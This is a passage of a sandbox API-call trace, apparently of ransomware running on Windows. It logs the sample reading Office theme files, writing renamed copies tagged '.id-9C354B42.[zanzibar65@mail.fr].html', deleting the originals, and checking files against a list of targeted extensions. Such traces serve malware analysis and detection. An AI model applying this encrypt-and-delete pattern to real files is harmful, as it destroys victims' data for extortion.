lpOverlapped=0x0) returned 1 [0045.072] WriteFile (in: hFile=0x1f4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0045.073] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.073] WriteFile (in: hFile=0x1f4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.073] SetEndOfFile (hFile=0x1f4) returned 1 [0045.074] CloseHandle (hObject=0x1f4) returned 1 [0045.074] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.074] SetEndOfFile (hFile=0x1ac) returned 1 [0045.074] CloseHandle (hObject=0x1ac) returned 1 [0045.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.075] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0045.075] lstrlenW (lpString=".doc") returned 4 [0045.075] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.075] lstrlenW (lpString=".docx") returned 5 [0045.075] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.075] lstrlenW (lpString=".pdf") returned 4 [0045.075] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.075] lstrlenW (lpString=".xls") returned 4 [0045.075] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.075] lstrlenW (lpString=".xlsx") returned 5 [0045.075] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.075] lstrlenW (lpString=".ppt") returned 4 [0045.075] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.075] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0045.076] lstrlenW (lpString=".zip") returned 4 [0045.076] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.076] lstrlenW (lpString=".rar") returned 4 [0045.076] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.076] lstrlenW (lpString=".bz2") returned 4 [0045.076] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.076] lstrlenW (lpString=".7z") returned 3 [0045.076] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0045.076] lstrlenW (lpString=".dbf") returned 4 [0045.076] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0045.076] lstrlenW (lpString=".1cd") returned 4 [0045.076] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0045.076] lstrlenW (lpString=".jpg") returned 4 [0045.076] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.076] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=29305) returned 1 [0045.076] CloseHandle (hObject=0x1ac) returned 1 [0045.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0045.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0045.077] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.077] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0045.077] GetLastError () returned 0x0 [0045.077] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x7279, lpOverlapped=0x0) returned 1 [0045.079] WriteFile (in: hFile=0x1f4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x7280, lpOverlapped=0x0) returned 1 [0045.080] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.080] WriteFile (in: hFile=0x1f4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.081] SetEndOfFile (hFile=0x1f4) returned 1 [0045.081] CloseHandle (hObject=0x1f4) returned 1 [0045.081] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.081] SetEndOfFile (hFile=0x1ac) returned 1 [0045.082] CloseHandle (hObject=0x1ac) returned 1 [0045.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0045.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0045.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0045.082] lstrlenW (lpString=".doc") returned 4 [0045.082] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.082] lstrlenW (lpString=".docx") returned 5 [0045.082] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.082] lstrlenW (lpString=".pdf") returned 4 [0045.082] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.082] lstrlenW (lpString=".xls") returned 4 [0045.082] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.082] lstrlenW (lpString=".xlsx") returned 5 [0045.082] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.083] lstrlenW (lpString=".ppt") returned 4 [0045.083] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0045.083] lstrlenW (lpString=".zip") returned 4 [0045.083] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.083] lstrlenW (lpString=".rar") returned 4 [0045.083] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.083] lstrlenW (lpString=".bz2") returned 4 [0045.083] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.083] lstrlenW (lpString=".7z") returned 3 [0045.083] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0045.083] lstrlenW (lpString=".dbf") returned 4 [0045.083] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0045.083] lstrlenW (lpString=".1cd") returned 4 [0045.083] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0045.083] lstrlenW (lpString=".jpg") returned 4 [0045.083] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.086] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.086] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0045.088] GetLastError () returned 0x0 [0045.088] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x3f1, lpOverlapped=0x0) returned 1 [0045.090] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x400, lpOverlapped=0x0) returned 1 [0045.094] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.094] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.095] SetEndOfFile (hFile=0x1ac) returned 1 [0045.095] CloseHandle (hObject=0x1ac) returned 1 [0045.095] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.095] SetEndOfFile (hFile=0x194) returned 1 [0045.096] CloseHandle (hObject=0x194) returned 1 [0045.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.096] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0045.096] lstrlenW (lpString=".doc") returned 4 [0045.096] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.096] lstrlenW (lpString=".docx") returned 5 [0045.096] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.096] lstrlenW (lpString=".pdf") returned 4 [0045.096] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.096] lstrlenW (lpString=".xls") returned 4 [0045.096] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.096] lstrlenW (lpString=".xlsx") returned 5 [0045.096] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.096] lstrlenW (lpString=".ppt") returned 4 [0045.096] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0045.097] lstrlenW (lpString=".zip") returned 4 [0045.097] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.097] lstrlenW (lpString=".rar") returned 4 [0045.097] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.097] lstrlenW (lpString=".bz2") returned 4 [0045.097] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.097] lstrlenW (lpString=".7z") returned 3 [0045.097] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0045.097] lstrlenW (lpString=".dbf") returned 4 [0045.097] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0045.097] lstrlenW (lpString=".1cd") returned 4 [0045.097] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0045.097] lstrlenW (lpString=".jpg") returned 4 [0045.097] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.097] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=27177) returned 1 [0045.097] CloseHandle (hObject=0x194) returned 1 [0045.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0045.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0045.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.098] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.098] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0045.098] GetLastError () returned 0x0 [0045.098] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x6a29, lpOverlapped=0x0) returned 1 [0045.100] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0045.101] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.101] WriteFile (in: hFile=0x1ac, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.101] SetEndOfFile (hFile=0x1ac) returned 1 [0045.101] CloseHandle (hObject=0x1ac) returned 1 [0045.102] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.102] SetEndOfFile (hFile=0x194) returned 1 [0045.103] CloseHandle (hObject=0x194) returned 1 [0045.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0045.103] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0045.103] lstrlenW (lpString=".doc") returned 4 [0045.103] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.103] lstrlenW (lpString=".docx") returned 5 [0045.103] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.103] lstrlenW (lpString=".pdf") returned 4 [0045.103] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.103] lstrlenW (lpString=".xls") returned 4 [0045.103] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.103] lstrlenW (lpString=".xlsx") returned 5 [0045.103] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.103] lstrlenW (lpString=".ppt") returned 4 [0045.103] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0045.103] lstrlenW (lpString=".zip") returned 4 [0045.103] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.103] lstrlenW (lpString=".rar") returned 4 [0045.103] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.104] lstrlenW (lpString=".bz2") returned 4 [0045.104] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.104] lstrlenW (lpString=".7z") returned 3 [0045.104] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0045.104] lstrlenW (lpString=".dbf") returned 4 [0045.104] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0045.104] lstrlenW (lpString=".1cd") returned 4 [0045.104] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0045.104] lstrlenW (lpString=".jpg") returned 4 [0045.104] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.104] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.104] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0045.491] GetLastError () returned 0x0 [0045.491] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x8a1, lpOverlapped=0x0) returned 1 [0046.033] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0046.034] ReadFile (in: hFile=0x194, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0046.034] WriteFile (in: hFile=0x1d8, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.034] SetEndOfFile (hFile=0x1d8) returned 1 [0046.035] CloseHandle (hObject=0x1d8) returned 1 [0046.035] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.035] SetEndOfFile (hFile=0x194) returned 1 [0046.036] CloseHandle (hObject=0x194) returned 1 [0046.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.036] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0046.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.036] lstrlenW (lpString=".doc") returned 4 [0046.036] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.036] lstrlenW (lpString=".docx") returned 5 [0046.036] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.036] lstrlenW (lpString=".pdf") returned 4 [0046.036] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.036] lstrlenW (lpString=".xls") returned 4 [0046.037] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.037] lstrlenW (lpString=".xlsx") returned 5 [0046.037] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.037] lstrlenW (lpString=".ppt") returned 4 [0046.037] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.037] lstrlenW (lpString=".zip") returned 4 [0046.037] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.037] lstrlenW (lpString=".rar") returned 4 [0046.037] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.037] lstrlenW (lpString=".bz2") returned 4 [0046.037] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.037] lstrlenW (lpString=".7z") returned 3 [0046.037] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.037] lstrlenW (lpString=".dbf") returned 4 [0046.037] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.037] lstrlenW (lpString=".1cd") returned 4 [0046.037] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.037] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.037] lstrlenW (lpString=".jpg") returned 4 [0046.037] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.038] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.038] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.038] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 